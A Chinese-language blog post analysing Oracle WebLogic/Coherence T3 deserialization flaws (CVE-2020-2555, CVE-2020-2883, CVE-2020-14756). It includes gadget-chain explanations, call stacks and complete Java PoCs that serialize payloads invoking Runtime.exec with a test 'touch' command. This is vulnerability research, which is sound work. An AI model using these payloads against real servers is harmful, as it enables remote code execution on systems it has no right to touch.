Weblogic T3协议漏洞分析(二)
深蓝 2023-02-18 00:00 四川
前言
接上文。
正文
CVE-2020-2555
影响范围:
Oracle Coherence 3.7.1.17
Oracle Coherence 12.1.3.0.0
Oracle Coherence 12.2.1.3.0
Oracle Coherence 12.2.1.4.0
且JDK > 8u76
漏洞分析
主要是Oracle Coherence中的LimitFilter类存在一个toString方法:
public String toString () {StringBuffer sb = new StringBuffer("LimitFilter: (");sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);if (this.m_comparator instanceof ValueExtractor) {ValueExtractor extractor = (ValueExtractor)this.m_comparator;sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));} else if (this.m_comparator != null) {sb.append(", comparator=").append(this.m_comparator);}sb.append("])");return sb.toString();}
传入的对象若是继承自ValueExtractor类则会调用其extract方法:

可利用的类不止一个,这里先看属于该cve的可利用类com.tangosol.util.extractor.ReflectionExtractor#extract:
构造方法:

反射获取类方法并invoke:

可以通过ChainedExtractor#extract(类似CC的ChainedTransformer)来连续调用extract方法:

而JDK > 8u76后才会有toString用于触发:


poc:
import com.tangosol.util.ValueExtractor;import com.tangosol.util.extractor.ChainedExtractor;import com.tangosol.util.extractor.ReflectionExtractor;import com.tangosol.util.filter.LimitFilter;import com.weblogcVul.CVE_2016_3510;import weblogic.corba.utils.MarshalledObject;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;public class CVE_2020_2555 {public static void main(String[] args) throws Exception {// 创建第一个Extractor Runtime.getMethod("getRuntime")ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]});// 第二个Extractor getRuntime.invoke()ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[0]});// 第三个Extractor invoke(exec, "id")ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{"touch /tmp/success123.txt"});// ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});LimitFilter limitFilter = new LimitFilter();limitFilter.setComparator(chainedExtractor);limitFilter.setTopAnchor(Runtime.class);BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);try {Field field = badAttributeValueExpException.getClass().getDeclaredField("val");field.setAccessible(true);field.set(badAttributeValueExpException, limitFilter);} catch (Exception e) {e.printStackTrace();}ByteArrayOutputStream fout = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);objectOutputStream.writeObject(badAttributeValueExpException);objectOutputStream.close();System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));}}

调用栈如下:
extract:116, ReflectionExtractor (com.tangosol.util.extractor)extract:105, ChainedExtractor (com.tangosol.util.extractor)toString:599, LimitFilter (com.tangosol.util.filter)readObject:86, BadAttributeValueExpException (javax.management)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:2122, ObjectInputStream (java.io)readOrdinaryObject:2013, ObjectInputStream (java.io)readObject0:1535, ObjectInputStream (java.io)readObject:422, ObjectInputStream (java.io)readObject:73, InboundMsgAbbrev (weblogic.rjvm)read:45, InboundMsgAbbrev (weblogic.rjvm)readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)init:219, MsgAbbrevInputStream (weblogic.rjvm)dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)readReadySocketOnce:993, SocketMuxer (weblogic.socket)readReadySocket:929, SocketMuxer (weblogic.socket)process:599, NIOSocketMuxer (weblogic.socket)processSockets:563, NIOSocketMuxer (weblogic.socket)run:30, SocketReaderRequest (weblogic.socket)execute:43, SocketReaderRequest (weblogic.socket)execute:147, ExecuteThread (weblogic.kernel)run:119, ExecuteThread (weblogic.kernel)
前面的T3调用过程没有太大变化,主要还是通过上文提到的BadAttributeValueExpException.toString触发LimitFilter.toString进而触发ReflectionExtractor.extract方法



流量特征上看也是正常的T3序列化数据,主要特征为BadAttributeValueExpException和ReflectionExtractor


CVE-2020-2883
影响范围:
Oracle Coherence 10.3.6.0.0
Oracle Coherence 12.1.3.0.0
Oracle Coherence 12.2.1.3.0
Oracle Coherence 12.2.1.4.0
在CVE-2020-2555补丁中主要是针对利用类LimitFilter的toString方法进行修复,此CVE主要是对上述修复的绕过。
MultiExtractor#compare
MultiExtractor继承自AbstractExtractor

很明显compare方法中有extract方法的调用:

与ChainedExtractor不同,这里只是遍历Extractors列表并调用其extract方法而非和ChainedExtractor.extract一样进行链式调用:


所以还得封装一层ChainedExtractor来进行rumtime调用,对于compare方法的触发,使用priorityQueue这条链的触发方法即可:
参考RoboTerh师傅的poc:
import com.tangosol.util.ValueExtractor;import com.tangosol.util.extractor.ChainedExtractor;import com.tangosol.util.extractor.MultiExtractor;import com.tangosol.util.extractor.ReflectionExtractor;import ysoserial.payloads.util.Reflections;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue;public class CVE_2020_2883_MultiExtractor {public static void main(String[] args) throws Exception {// 创建第一个Extractor Runtime.getMethod("getRuntime")ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]});// 第二个Extractor getRuntime.invoke()ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[0]});// 第三个Extractor invoke(exec, "id")ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{"touch /tmp/success111.txt"});// ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{ reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});MultiExtractor multiExtractor = new MultiExtractor();Field m_aExtractor = multiExtractor.getClass().getSuperclass().getDeclaredField("m_aExtractor");m_aExtractor.setAccessible(true);m_aExtractor.set(multiExtractor, new ValueExtractor[]{chainedExtractor});PriorityQueue priorityQueue = new PriorityQueue();priorityQueue.add("1");priorityQueue.add("2");Field comparator = priorityQueue.getClass().getDeclaredField("comparator");comparator.setAccessible(true);comparator.set(priorityQueue, multiExtractor);Object[] queueArray = (Object[]) Reflections.getFieldValue(priorityQueue, "queue");queueArray[0] = Runtime.class;queueArray[1] = "2";ByteArrayOutputStream fout = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);objectOutputStream.writeObject(priorityQueue);objectOutputStream.close();System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));}}
调用栈如下:
extract:116, ReflectionExtractor (com.tangosol.util.extractor)extract:105, ChainedExtractor (com.tangosol.util.extractor)extract:96, MultiExtractor (com.tangosol.util.extractor)compare:143, AbstractExtractor (com.tangosol.util.extractor)siftDownUsingComparator:721, PriorityQueue (java.util)siftDown:687, PriorityQueue (java.util)heapify:736, PriorityQueue (java.util)readObject:795, PriorityQueue (java.util)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeReadObject:1058, ObjectStreamClass (java.io)readSerialData:2122, ObjectInputStream (java.io)readOrdinaryObject:2013, ObjectInputStream (java.io)readObject0:1535, ObjectInputStream (java.io)readObject:422, ObjectInputStream (java.io)readObject:73, InboundMsgAbbrev (weblogic.rjvm)read:45, InboundMsgAbbrev (weblogic.rjvm)readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)init:219, MsgAbbrevInputStream (weblogic.rjvm)dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)readReadySocketOnce:993, SocketMuxer (weblogic.socket)readReadySocket:929, SocketMuxer (weblogic.socket)process:599, NIOSocketMuxer (weblogic.socket)processSockets:563, NIOSocketMuxer (weblogic.socket)run:30, SocketReaderRequest (weblogic.socket)execute:43, SocketReaderRequest (weblogic.socket)execute:147, ExecuteThread (weblogic.kernel)run:119, ExecuteThread (weblogic.kernel)PriorityQueue.readObject -> AbstractExtractor.compare -> MultiExtractor.extract -> ChainedExtractor.extract -> ReflectionExtractor.extract



ExtractorComparator#compare
查看其compare方法:
public int compare(T o1, T o2) {Comparable a1 = o1 instanceof InvocableMap.Entry ? (Comparable)((InvocableMap.Entry)o1).extract(this.m_extractor) : (Comparable)this.m_extractor.extract(o1);Comparable a2 = o2 instanceof InvocableMap.Entry ? (Comparable)((InvocableMap.Entry)o2).extract(this.m_extractor) : (Comparable)this.m_extractor.extract(o2);if (a1 == null) {return a2 == null ? 0 : -1;} else {return a2 == null ? 1 : a1.compareTo(a2);}}
很明显的extract调用,同样的构造方法:
import com.tangosol.util.ValueExtractor;import com.tangosol.util.comparator.ExtractorComparator;import com.tangosol.util.extractor.ChainedExtractor;import com.tangosol.util.extractor.MultiExtractor;import com.tangosol.util.extractor.ReflectionExtractor;import ysoserial.payloads.util.Reflections;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue;public class CVE_2020_2883_ExtractorComparator {public static void main(String[] args) throws Exception {// 创建第一个Extractor Runtime.getMethod("getRuntime")ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]});// 第二个Extractor getRuntime.invoke()ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[0]});// 第三个Extractor invoke(exec, "id")ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{"touch /tmp/success111.txt"});// ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{ reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});ExtractorComparator extractorComparator = new ExtractorComparator( chainedExtractor);PriorityQueue priorityQueue = new PriorityQueue();priorityQueue.add("1");priorityQueue.add("2");Field comparator = priorityQueue.getClass().getDeclaredField("comparator");comparator.setAccessible(true);comparator.set(priorityQueue, extractorComparator);Object[] queueArray = (Object[]) Reflections.getFieldValue(priorityQueue, "queue");queueArray[0] = Runtime.class;queueArray[1] = "2";ByteArrayOutputStream fout = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);objectOutputStream.writeObject(priorityQueue);objectOutputStream.close();System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));}}
最终触发目标函数,过程差不多就不赘述了:
CVE-2020-14756
影响范围:
Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0
同样是对反序列化黑名单的绕过,这里使用的是com.tangosol.coherence.servlet.AttributeHolder,调用其readExternal方法:
而com.tangosol.util.aggregator.TopNAggregator$PartialResult的readExternal方法将会触发其父类的SortedBag$WrapperComparator.compare方法:
而之前我们提到过,所有继承自AbstractExtractor的Extractor都会有一个compare方法可触发其extract方法:
对于MvelExtractor来说触发extract即是执行MVEL表达式计算,执行任意代码:
调用栈如下:
extract:95, MvelExtractor (com.tangosol.coherence.rest.util.extractor)compare:143, AbstractExtractor (com.tangosol.util.extractor)compare:416, SortedBag$WrapperComparator (com.tangosol.util)compare:1295, TreeMap (java.util)put:538, TreeMap (java.util)add:152, SortedBag (com.tangosol.util)add:270, TopNAggregator$PartialResult (com.tangosol.util.aggregator)readExternal:299, TopNAggregator$PartialResult (com.tangosol.util.aggregator)readExternalizableLite:2345, ExternalizableHelper (com.tangosol.util)readObjectInternal:2661, ExternalizableHelper (com.tangosol.util)readObject:2606, ExternalizableHelper (com.tangosol.util)readObject:2583, ExternalizableHelper (com.tangosol.util)readExternal:407, AttributeHolder (com.tangosol.coherence.servlet)readExternal:372, AttributeHolder (com.tangosol.coherence.servlet)readExternalData:2062, ObjectInputStream (java.io)readOrdinaryObject:2011, ObjectInputStream (java.io)readObject0:1535, ObjectInputStream (java.io)readObject:422, ObjectInputStream (java.io)readObject:73, InboundMsgAbbrev (weblogic.rjvm)read:45, InboundMsgAbbrev (weblogic.rjvm)readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)init:219, MsgAbbrevInputStream (weblogic.rjvm)dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)readReadySocketOnce:993, SocketMuxer (weblogic.socket)readReadySocket:929, SocketMuxer (weblogic.socket)process:599, NIOSocketMuxer (weblogic.socket)processSockets:563, NIOSocketMuxer (weblogic.socket)run:30, SocketReaderRequest (weblogic.socket)execute:43, SocketReaderRequest (weblogic.socket)execute:147, ExecuteThread (weblogic.kernel)run:119, ExecuteThread (weblogic.kernel)
参考Y4er师傅POC:
import com.tangosol.coherence.rest.util.extractor.MvelExtractor;import com.tangosol.coherence.servlet.AttributeHolder;import com.tangosol.util.SortedBag;import com.tangosol.util.aggregator.TopNAggregator;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Base64;public class CVE_2020_14756 {public static void main(String[] args) {MvelExtractor extractor = new MvelExtractor("java.lang.Runtime.getRuntime().exec(\"touch /tmp/123.txt\");");MvelExtractor extractor2 = new MvelExtractor("");try {SortedBag sortedBag = new TopNAggregator.PartialResult(extractor2, 2);AttributeHolder attributeHolder = new AttributeHolder();sortedBag.add(1);Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");m_comparator.setAccessible(true);m_comparator.set(sortedBag, extractor);Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);setInternalValue.setAccessible(true);setInternalValue.invoke(attributeHolder, sortedBag);ByteArrayOutputStream fout = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);objectOutputStream.writeObject(attributeHolder);objectOutputStream.close();System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));} catch (Exception e) {e.printStackTrace();}}}
流量特征:
后记
依旧参考RoboTerh师傅的文章:https://tttang.com/archive/1785/#toc_cve-2017-3248
关于前文中T3协议头部分存在一些问题,具体细则可参考su18《Weblogic RMI 与 T3 初探》。